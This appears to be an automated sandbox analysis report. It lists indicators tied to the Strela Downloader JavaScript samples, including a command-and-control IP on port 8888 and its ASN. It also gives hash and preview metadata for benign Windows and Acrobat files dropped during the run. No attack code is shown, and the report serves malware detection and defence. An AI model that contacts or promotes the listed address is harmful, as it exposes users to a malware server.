Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	3254519122657813770.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1712226379134618467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1136121895118314851.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7401990642713807.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	705722057165658523.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	382215884163542302.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	571464521086425926.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18607323151113325657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2503475573085815370.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17772451271118687.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2078028442107917841.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3254519122657813770.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1712226379134618467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1136121895118314851.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7401990642713807.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	705722057165658523.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18474255912080825433.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	382215884163542302.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	571464521086425926.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18607323151113325657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073462688005062
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrn:KooCEYhgYEL0In
MD5:	164209DC715CB2AEFC42D84AA7F7F9A8
SHA1:	1FE2D8B7315B56EB22AA43B9549442977CB40FCC
SHA-256:	5988C2488B8554C814DCFC568CAFA8AA3CCA4DF15D2CEC9F14AF800199C45A92
SHA-512:	32C93667FE7824DF4BDEAC0136A081F8064F93D634B7504EFF7AEF4801E150C805A341EA81D838159C9953EF35D7D3DCEBC8B7FDF3C2688D77E35A326FBEFF94
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x0dbe7876, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221397008361535
Encrypted:	false
SSDEEP:	1536:ZSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Zaza/vMUM2Uvz7DO
MD5:	2A58F3D1C531CD3FEF23B66D75E387E4
SHA1:	948F6CD23CD9EF592B1748F459F4E777522DC8FC
SHA-256:	82F2598CD6D0530A7936F7FED9661A975A63EF7E8C9383F42D2BEAD9DCEBCACA
SHA-512:	934E027F0F546009B731FEE2126DED94DE17FB4CD3AAB5B309B5F9E8BEA3499F951C1813782ADCA3469D597E0B6120B647BE12310DA79AE29E8198FE5D0A306E
Malicious:	false
Preview:	..xv... .......A.......X\...;...{......................0.!..........{A......}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................C........}...........................}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07705996870539306
Encrypted:	false
SSDEEP:	3:XltKYebI8TlAjjn13a/m2tillcVO/lnlZMxZNQl:XltKzb+j53qdGOewk
MD5:	73F3F89A290FC7427A2071187EB9BFF8
SHA1:	CF738EF91C5CCF7CC008730E0548C1E9C067B373
SHA-256:	92AE0EA29709CCFBF9CE2BF8EE007C3992FC823A2B79C0DD5A2445E12C561B91
SHA-512:	BE26E99DFDC0650359F473F6DE2811B1FCB8928C355CC5AE56ED5C31F5CA4F3B7F74211202D90EA91701FAD980CED674A287EE6C50AD23E8066D8BCC91FECD83
Malicious:	false
Preview:	0.(......................................;...{.......}.......{A..............{A......{A..........{A].........................}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.14802365488871
Encrypted:	false
SSDEEP:	6:iO4oZ/6+Iq2Pwkn2nKuAl9OmbnIFUtSoZ/cZmwsoZ/ckwOwkn2nKuAl9OmbjLJ:7vZ/6+IvYfHAahFUtRZ/c/7Z/c5JfHAR
MD5:	F2A6AFAFFD83214EA5887FD5EE7202CB
SHA1:	D42655792CE4A3D34C6568480CC6014ADC236ACB
SHA-256:	7256F576A59F82F55C249AAC13C29EBCA5BD411758FD1F824EC4EB2886E92B9E
SHA-512:	1FDCC2DB1E6BFEFA33183F9697C06F00ED43E65838343493E889767E0598778FF24A66E8EF583CF119D2A09B0FC56695D279C71C576019082AE76CFA9CE361F5
Malicious:	false
Preview:	2025/01/10-09:07:08.969 1a20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-09:07:08.971 1a20 Recovering log #3.2025/01/10-09:07:08.971 1a20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.14802365488871
Encrypted:	false
SSDEEP:	6:iO4oZ/6+Iq2Pwkn2nKuAl9OmbnIFUtSoZ/cZmwsoZ/ckwOwkn2nKuAl9OmbjLJ:7vZ/6+IvYfHAahFUtRZ/c/7Z/c5JfHAR
MD5:	F2A6AFAFFD83214EA5887FD5EE7202CB
SHA1:	D42655792CE4A3D34C6568480CC6014ADC236ACB
SHA-256:	7256F576A59F82F55C249AAC13C29EBCA5BD411758FD1F824EC4EB2886E92B9E
SHA-512:	1FDCC2DB1E6BFEFA33183F9697C06F00ED43E65838343493E889767E0598778FF24A66E8EF583CF119D2A09B0FC56695D279C71C576019082AE76CFA9CE361F5
Malicious:	false
Preview:	2025/01/10-09:07:08.969 1a20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-09:07:08.971 1a20 Recovering log #3.2025/01/10-09:07:08.971 1a20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.176119484316951
Encrypted:	false
SSDEEP:	6:iO4oZ/eeIq2Pwkn2nKuAl9Ombzo2jMGIFUtSoZ/p6ZmwsoZ/1kwOwkn2nKuAl9OU:7vZ/YvYfHAa8uFUtRZ/p6/7Z/15JfHAv
MD5:	32C61F5A3F823D60BC8C70208A9C3C53
SHA1:	A8C069B5D6BE12860AE0FDFD0887E79B5B5FD61F
SHA-256:	611E7853E3178C995908898EEBCEB95F8AE2FFF4253B18103073988E8F94D85E
SHA-512:	F993FD6ECF07391E3A023D3DD15A3FDD160E0150DB3A3033B3C7B0FD0DA000171D49CD081B83E5C6A7DBC61CAF6961782D746EDCC86155233D87CBFBFD2B1907
Malicious:	false
Preview:	2025/01/10-09:07:08.987 1c84 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-09:07:08.988 1c84 Recovering log #3.2025/01/10-09:07:08.989 1c84 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.176119484316951
Encrypted:	false
SSDEEP:	6:iO4oZ/eeIq2Pwkn2nKuAl9Ombzo2jMGIFUtSoZ/p6ZmwsoZ/1kwOwkn2nKuAl9OU:7vZ/YvYfHAa8uFUtRZ/p6/7Z/15JfHAv
MD5:	32C61F5A3F823D60BC8C70208A9C3C53
SHA1:	A8C069B5D6BE12860AE0FDFD0887E79B5B5FD61F
SHA-256:	611E7853E3178C995908898EEBCEB95F8AE2FFF4253B18103073988E8F94D85E
SHA-512:	F993FD6ECF07391E3A023D3DD15A3FDD160E0150DB3A3033B3C7B0FD0DA000171D49CD081B83E5C6A7DBC61CAF6961782D746EDCC86155233D87CBFBFD2B1907
Malicious:	false
Preview:	2025/01/10-09:07:08.987 1c84 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-09:07:08.988 1c84 Recovering log #3.2025/01/10-09:07:08.989 1c84 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\96d60ea9-f9ca-4e56-9d69-8115721e0d54.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.953618423345806
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqTsBdOg2H/caq3QYiubInP7E4T3y:Y2sRdshdMHO3QYhbG7nby
MD5:	850F61A6F6D913604B0327E8E60120AB
SHA1:	81AFF03E1EBDD328468E45CB130EE76600A68DC6
SHA-256:	A849EEABDF468DE3B7A6B267D4515CE8B06A44F279ECA08A104A783C7BE74021
SHA-512:	A44F71BFE88EC5CE86B9CF79786623FF4F7383CBB64386DC0A0F477BA8605C635645A8EEE10C85CC13B85DBCF94A04994A1EB9985CF9FBD2D20609D819DF3C47
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381078041413193","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":134681},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.953618423345806
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqTsBdOg2H/caq3QYiubInP7E4T3y:Y2sRdshdMHO3QYhbG7nby
MD5:	850F61A6F6D913604B0327E8E60120AB
SHA1:	81AFF03E1EBDD328468E45CB130EE76600A68DC6
SHA-256:	A849EEABDF468DE3B7A6B267D4515CE8B06A44F279ECA08A104A783C7BE74021
SHA-512:	A44F71BFE88EC5CE86B9CF79786623FF4F7383CBB64386DC0A0F477BA8605C635645A8EEE10C85CC13B85DBCF94A04994A1EB9985CF9FBD2D20609D819DF3C47
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381078041413193","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":134681},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.2596275401173065
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7A3j0:etJCV4FiN/jTN/2r8Mta02fEhgO73go7
MD5:	7863D19555627230844C28A3819FDF6D
SHA1:	ED1C62C2DEB4314FD7C8D4A806BEE1F014D1BEB4
SHA-256:	28B42B16D0B51180231F47F34CD505A4D725E207DD5770458319EB6B7C63BBDB
SHA-512:	21F391BE92A0AC5AB7A2DD3E0D50535FCF26574272C628ED5879F58FB05FA71F7A8099DDE2A3A4FA6ACA2EAAE13CCD8D24FCD6A35CDD78AD1556DE0B48184D4B
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.155104658619699
Encrypted:	false
SSDEEP:	6:iO4oZSaq2Pwkn2nKuAl9OmbzNMxIFUtSoZLRFZZmwsoZOFUKPkwOwkn2nKuAl9Ob:7vZrvYfHAa8jFUtRZLRFZ/7ZOF1P5Jfv
MD5:	569AA9D80BBCBBEF8FD1699EF61BC551
SHA1:	C9FB1EA128BAA0CC931BB67B296A089FBD7125FE
SHA-256:	5B24832F683480D41B67F1427B1E587291346982B8FB0ED280C92F8D50EB38F2
SHA-512:	85458D83AB58B48409FD3BC5F78DED9E3D182CC85ADB0554CE8A2C605FD205F81CCF79BA152AC21EE6ED92871C4C02848087FBEFEE1BDBF76B4238C8BD210B5A
Malicious:	false
Preview:	2025/01/10-09:07:09.118 1c84 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-09:07:09.120 1c84 Recovering log #3.2025/01/10-09:07:09.121 1c84 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.155104658619699
Encrypted:	false
SSDEEP:	6:iO4oZSaq2Pwkn2nKuAl9OmbzNMxIFUtSoZLRFZZmwsoZOFUKPkwOwkn2nKuAl9Ob:7vZrvYfHAa8jFUtRZLRFZ/7ZOF1P5Jfv
MD5:	569AA9D80BBCBBEF8FD1699EF61BC551
SHA1:	C9FB1EA128BAA0CC931BB67B296A089FBD7125FE
SHA-256:	5B24832F683480D41B67F1427B1E587291346982B8FB0ED280C92F8D50EB38F2
SHA-512:	85458D83AB58B48409FD3BC5F78DED9E3D182CC85ADB0554CE8A2C605FD205F81CCF79BA152AC21EE6ED92871C4C02848087FBEFEE1BDBF76B4238C8BD210B5A
Malicious:	false
Preview:	2025/01/10-09:07:09.118 1c84 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-09:07:09.120 1c84 Recovering log #3.2025/01/10-09:07:09.121 1c84 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 17, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 17
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444499859037472
Encrypted:	false
SSDEEP:	384:SeXci5tAiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:XXs3OazzU89UTTgUL
MD5:	314CF8BBBE89C05723FD92FF5C27A777
SHA1:	6ECC4AAC6430FD58BD82061211484ED4AF096E38
SHA-256:	5805511092EDAC3FAA11D4E9FBF038FBC8A69E0EA6ACF2E1313BBA802123D681
SHA-512:	E96588FFF512ED29DE5252069765A12CF13381309EC95826A7862D1D2953B305AEC0EC7DC2E95F7007D17832C36694B0F209974A5D3929C82471AF05DF6BFE63
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.215074772979347
Encrypted:	false
SSDEEP:	24:7+tWsnuwK/qLrzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9MK:7MZnC/qvmFTIF3XmHjBoGGR+jMz+Lhr
MD5:	BF80D488F91F4BB2552A01F66390ED19
SHA1:	101C0F790B7A11297535350069DF8D6B889A1740
SHA-256:	63C369BF7D42EAFCD2D2EC60C1DBEC694144EBC9D185376D9463C070F8716C77
SHA-512:	EE598827FBCA532CCE70F967631875976C7DCB075B5EDE529969702FC2F8F8A191013BF36888EC1687C3E0960BB565A8E245522697272AD854E0A06B7DDEC9A5
Malicious:	false
Preview:	.... .c................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.750397451508313
Encrypted:	false
SSDEEP:	3:kkFklV7jDtfllXlE/HT8kuYsJtNNX8RolJuRdxLlGB9lQRYwpDdt:kKODeT8YsJTNMa8RdWBwRd
MD5:	E4D64555F94FEB07FD30F1C825F55702
SHA1:	D72186C356B4BE326CFCD3FCEC78B05E3342F6EA
SHA-256:	9E41103EBD92AA1BFA15FB628DE41F6A440718D3D140F3BD5649F69B5802FA1F
SHA-512:	3D93E32BE17007AB97DC0EA8CEEC2F8807CFE480F8F2A4F778FB64DF10DEC1C9A598EF048258026697BD47D4F616C84CFCEF895E22BF3A362885EF5CD6B3145B
Malicious:	false
Preview:	p...... ..........p.hc..(....................................................... ..........W.....=..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2736

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

